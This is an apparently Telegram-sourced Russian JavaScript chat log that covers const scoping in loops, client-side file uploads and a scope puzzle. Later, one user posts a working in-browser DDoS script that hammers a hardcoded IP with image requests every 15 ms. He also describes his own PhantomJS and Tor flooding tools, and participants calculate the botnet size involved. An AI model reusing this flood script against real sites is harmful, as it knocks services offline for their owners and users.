Xaxashutkin
Так там нет фигурных скобок =)
ну там считай шорткат)
Anonymous
Я его смотрел, но, видимо, все уже забыл
Oleg
Я так и знал что прилетит это вижео =\
Потому что там ответ на твой вопрос )
Anonymous
Так там нет фигурных скобок =)
Самое время их добавить😁
Anonymous
ну там считай шорткат)
яснопонятно. Ну другого я и не ожидал. Но это что-то туповато
Roman
что тут сложного? присваивание срабатывает на каждой итерации
Anonymous
нет присваивания
Anonymous
есть пересоздание в новом скоупе
Anonymous
еще нет скоупа
Не было бы скоупа, был бы TypeError: Assignment to constant variable.
Roman
а стоп. я все не так прочел
Anonymous
ага
Roman
ты ж сам ответил. фор создает скоуп
Roman
и в нем новый конст
Anonymous
не я ответил
Anonymous
ну как бы это очевидно из поведения, но совсем не очевидно из синтаксиса
Anonymous
Давно меня не напрягал JS и вот опять =\
Roman
ну как бы это очевидно из поведения, но совсем не очевидно из синтаксиса
а, ты типа думал что поскольку конст за пределами лупа, то еще не скоуп?
Roman
и без скобок, понятно :)
Anonymous
а, ты типа думал что поскольку конст за пределами лупа, то еще не скоуп?
Я типа думал что конст за пределами фигурных скобок - нет скоупа
Anonymous
угу....
Roman
я понял. ну да не особо
Roman
implicit скобки :)
Roman
хотя вот внутри свичей так не работает
Roman
а чтобы работало надо ставить скобки
Anonymous
вооот
Roman
согласен. неочевидно
Alexander
Кто-нибудь знает можно ли загружать файлы на сервер онли клиентским кодом?
Anonymous
Переформулируй вопрос
Dmitriy
По фтп разве что
При наличии фтп сервера
Alexander
Переформулируй вопрос
Ну лежит клиентский SPA код в одной папке с картинками, общается с сервером посредством API. Нужно загрузить картинку в ту же папку где и лежит код, меня это ступарнуло чего-то
Alexander
Думаю без бэкенда не сделать
Anonymous
Вопервых да, во вторых это вообще идея сомнительная
Alexander
Согласен, спасибо за мнение
Roman
а что потом с этими загрузками делать?
Roman
может тебе s3 подойдет?
Сергей
кто подскажет подобную реализацию? есть ли какие нить примеры? https://jsfiddle.net/62n05sdb/32/ эффект жидкости это, если кому лень смотреть)
Anonymous
И так, нашлась под вечер пятничная задачка. Какое количество и каких скоупов будет в первом и втором случае (закрашено красным)? http://s.csssr.ru/U8SMMLH99/20180921201629.png Когда будете уверены в ответе можете проверить себя и повникать, вот шаблон var test0; (function test(){ var test1; { var test2; function f (){ test0; test1; test2 }; console.log({f}); } })()
Anonymous
Для меня, например, было это открытием (спойлер) http://s.csssr.ru/U8SMMLH99/20180921202620.png
Nikolay
А можно как-то отличить стрелочную и обычную функцию? 🤔
Я слоупок, но все же: ast построить по коду не вариант? :)
Way
Вечер добрый, мне тут сайт сломали странным способом в 5 строк JS, если кто сможет проконсультировать, отпишите в лс
Way
Последний раз, когда я отправлял код в чате реверсеров, его удалили
Way
Хаки там, туда сюда
Igor
может тебя тамошний админ и взломал, не захотел палить код?)
Way
Не
Way
Ладно
Way
<script type='text/javascript'> var s = ["http://213.171.196.225/"]; var i = new Image(); var u = s[parseInt(Math.random()*s.length)]+"?u="+(new Date().getTime()); var c = 0; setInterval(function(){i.src=u+c;c++;},15); //>=15 </script>
Way
Вот суть
Way
Парень зарегал временный бесплатный домен на сайте
Way
Я пробывал его скрипт, он выдает максимум 300-400 запросов в секунду
Way
Однако сайт на stormwall пал
Way
Вот эксперементальный домен https://kogozim.000webhostapp.com/
Way
Тут можно посмотреть нагрузку, раздел L7, график 1 And 1 https://www.vedbex.com/tools/dstat
Way
Накодил на скорую руку скрипт на python с webdriver, в 25 потоков 300-400 запросов, в один поток максимум 40-50
Way
Как сайт упал, я так и не понял
Way
Ставил атаку на свой сервак, 20-60mbps output нагрузки
Dmitriy
Как сайт упал, я так и не понял
а что конкретно упало то? веб сервер от нагрузки?
Way
Да
Way
Вот пример, как это выглядело ``` 2018/09/20 16:42:44 [error] 1537#1537: *861711 limiting requests, excess: 50.405 by zone "static_limit", client: 188.0.150.18, server: justcase.net, request: "GET /?u=153745063821719599 HTTP/1.1", host: "justcase.net", referrer: "http://twelfth-reaction.000webhostapp.com/d.php" ```
Way
Roman
Я пробывал его скрипт, он выдает максимум 300-400 запросов в секунду
дак это для одного тебя, а этот скрипт будет отрабатывать у каждого кто зашел на сайт
Way
дак это для одного тебя, а этот скрипт будет отрабатывать у каждого кто зашел на сайт
Понимаю, поэтому накодил скрипт, с PhantomJS открывается 25 различных сессий. https://pastebin.com/bEfeKuiC
Way
Я веду к тому, что у stormwall стоят фильтра от Ddos атак. Просил друга ударить по сайту с ботнета, он выдавал 80к запросов и сайт не упал, а тут я даже не представляю куда он мог отправить свой сайт, чтобы на него зашло такое множесто машин. Попробывал через гугл переводчик, seo сайты и анонимайзеры, и ничего не генерирует такой объем трафика
Dmitriy
под миллион
в секунду?
Way
Да
Way
Это конечно много, нормальная цифра для среднего ботнета
Way
В этом нет ничего такого, но в моем случае это просто url, который куда-то отправили. Куда-то с проксированием
Way
Найти бы этого умельца
Dmitriy
Это конечно много, нормальная цифра для среднего ботнета
в общем, это не менее 15к клиентов в идеальных условиях, когда интервал срабатывает реально каждые 15мс
Way
Я как-то ставил себе задачу, у меня вышло написать скрипт, который брал с демона тора интерфейс и отправлял 3к запросов в 100 потоках
Way
980 000 / 3000 = ~326
Dmitriy
Я как-то ставил себе задачу, у меня вышло написать скрипт, который брал с демона тора интерфейс и отправлял 3к запросов в 100 потоках
мы про этот жс скрипт говорим или вас задудосили и вы привели пример? 1 000 / 15 = 66.6(6) 1 000 000 / 66.6(6) = 15 000 а скорее больше, потому что 15мс это минимальное время, через которое выполнится функция, если очередь свободна
Way
Но атаковали меня с сайта, на котором располагался именно такой скрипт